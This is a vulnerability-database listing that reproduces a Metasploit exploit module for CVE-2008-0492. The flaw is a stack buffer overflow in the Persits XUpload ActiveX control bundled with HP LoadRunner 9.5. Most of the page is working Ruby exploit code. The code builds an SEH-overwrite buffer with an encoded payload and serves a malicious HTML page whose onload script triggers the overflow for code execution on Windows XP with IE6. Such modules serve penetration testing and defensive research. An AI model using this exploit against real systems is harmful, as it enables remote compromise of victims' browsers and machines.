Persits XUpload ActiveX AddFile Buffer Overflow

2009-11-13T18:09:50
ID MSF:EXPLOIT/WINDOWS/BROWSER/HP_LOADRUNNER_ADDFILE
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack buffer overflow in Persits Software Inc's XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5. By passing an overly long string to the AddFile method, an attacker may be able to execute arbitrary code.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Persits XUpload ActiveX AddFile Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Persits Software Inc's
        XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.
        By passing an overly long string to the AddFile method, an attacker may be
        able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2008-0492'],
          [ 'OSVDB', '40762'],
          [ 'BID', '27456' ],
          [ 'EDB', '4987' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',
            {
              'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx
            }
          ],
        ],
      'DisclosureDate' => 'Jan 25 2008',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit = rand_text_alpha(738)
    sploit << generate_seh_payload(target.ret)
    sploit << p.encoded
    sploit << rand_text(1000) * 25
    sploit = Rex::Text.to_unescape(sploit)

    # Build out the message
    content = %Q|<html>
<script language='javascript'>
function check()
{
#{strname} = new String(unescape("#{sploit}"));
#{vname}.AddFile(#{strname});
}
</script>
<body onload='javascript:check()'>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
</body>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end